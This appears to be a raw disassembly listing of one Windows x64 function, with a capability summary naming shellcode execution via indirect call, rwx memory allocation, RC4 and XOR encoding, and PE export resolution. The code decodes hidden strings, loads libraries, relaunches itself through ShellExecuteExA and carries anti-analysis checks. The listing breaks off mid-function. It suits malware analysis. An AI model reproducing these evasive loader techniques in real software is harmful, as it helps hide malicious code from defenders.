Function at 0x14002d428
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14009c3a0
sub rsp, rax
mov rax, qword [0x140105700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x3a]
mov esi, 0x41c1d7e
mov ebx, 0x29479d03
mov r12d, 0x9b8b3d39
cmp rax, r12
jne 0x14002d52c
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d50c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d50c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d52c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov edi, 0x9b8b3d39
mov ecx, edi
call fcn.140014924
mov rax, qword gs:[0x3a]
mov r13d, 0xccc29034
cmp rax, r12
jne 0x14002d5e8
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d5c8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d5c8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d5e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
movabs r14, 0x8891115eabfcc5c6
cmp rax, r12
jne 0x14002d69c
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d67c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d67c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d69c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov ecx, edi
call fcn.14002ca08
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002d75c
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d73c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d73c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d75c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002d806
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d7e6
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d7e6
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d806
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
lea rdx, [0x1400f91c0]
lea rcx, [rbp + 0x998]
call fcn.1400142e8
mov rdx, rax
mov ecx, edi
call fcn.14001aff0
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002d8dc
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d8bc
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d8bc
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d8dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002d986
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d966
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d966
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d986
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov dword [rbp + 0x90], 0x436409c5
mov dword [rbp + 0x94], 0xb3da6331
mov word [rbp + 0x98], 0x5f
xor r15d, r15d
mov edi, r15d
movabs r14, 0x1647a34f3
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14003ce98
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14002d9b3
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x3a]
cmp rax, r12
movabs r14, 0x8891115eabfcc5c6
jne 0x14002dabe
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002da9e
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002da9e
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dabe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002db68
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002db48
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002db48
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002db68
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov dword [rbp + 0x1f0], 0xbe503df8
mov dword [rbp + 0x1f4], 0xfec3b8cc
mov dword [rbp + 0x1f8], 0x5c5e9c0d
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r14, 0x1647a34f3
mov qword [rsp + 0x20], r14
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14003caf4
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14002db9b
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x3a]
cmp rax, r12
movabs r14, 0x8891115eabfcc5c6
jne 0x14002dc97
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dc77
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dc77
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dc97
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14002cbec
test eax, eax
jne 0x14002df43
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c5c00
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14002ddb4
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c5c00
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x5a267ca9
mov word [rbp - 0x6c], 0x3e
movabs rsi, 0x1647a34f3
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14003ce24
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14002dd24
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14003c77b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14002ddbe
movabs rsi, 0x1647a34f3
mov word [rsp + 0x78], Ordinal_211
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_211
lea rcx, [rsp + 0x78]
call fcn.14003cccc
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14002ca6c
mov rbx, rax
movdqa xmm0, xmmword [0x1400fb230]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400fb1b0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xa6d2bcdb
mov dword [rbp + 0xc1c], 0xbf58010a
mov dword [rbp + 0xc20], 0xb7a61293
mov word [rbp + 0xc24], Ordinal_211
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14003cdb0
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14002de43
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14003de44
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14003e004
lea rcx, [rbp + 0x9d8]
call fcn.14003d95c
lea rcx, [rbp + 0x9b8]
call fcn.14003d95c
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], Ordinal_143
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14003c8ac
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14002dedc
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.14003d5b0
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002dfed
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dfcd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dfcd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dfed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e0ac
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e08c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e08c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e0ac
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e156
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e136
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e136
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e156
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e200
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e1e0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e1e0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e200
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e2b9
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e299
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e299
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e2b9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
xor ecx, ecx
call fcn.1400a3e74
mov rbx, rax
mov word [rsp + 0x7c], Ordinal_143
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x89
lea rcx, [rsp + 0x7c]
call fcn.14003cccc
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0x676c4980
mov word [rbp - 0x5c], 0x660f
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14003cb6c
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14002e30c
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a7354
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e3fd
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e3dd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e3dd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e3fd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e4b8
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e498
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e498
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e4b8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov ecx, 2
call fcn.1400a3e74
mov rbx, rax
mov word [rbp - 0x80], Ordinal_143
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x8c
lea rcx, [rbp - 0x80]
call fcn.14003cccc
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x6e723c88
mov dword [rbp - 0x34], 0x661710
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14003cd3c
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14002e506
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a7354
mov rax, qword gs:[0x3a]
cmp rax, r12
mov r13d, 0xccc29034
jne 0x14002e5fc
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e5dc
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e5dc
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e5fc
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e6a6
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e686
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e686
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e6a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov ecx, 1
call fcn.1400a3e74
mov rbx, rax
mov word [rbp - 0x7c], Ordinal_143
movabs r14, 0x1647a34f3
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov dl, 0x8c
lea rcx, [rbp - 0x7c]
call fcn.14003cccc
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x6e723c88
mov dword [rbp - 0x2c], 0x661710
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14003cd3c
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14002e6f4
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a7354
mov rax, qword gs:[0x3a]
cmp rax, r12
movabs r14, 0x8891115eabfcc5c6
mov ebx, 0x29479d03
jne 0x14002e801
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e7e1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e7e1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e801
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002e8ab
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e88b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e88b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e8ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb070]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400fb310]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400fb060]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x2fb8acaa
mov dword [rbp + 0xd4c], 0xe3063bb0
mov dword [rbp + 0xd50], 0xad414853
mov word [rbp + 0xd54], 0x738e
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14003cc58
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14002e917
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.14001418c
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002ea08
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e9e8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e9e8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ea08
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002eac1
mov rcx, qword gs:[0x19]
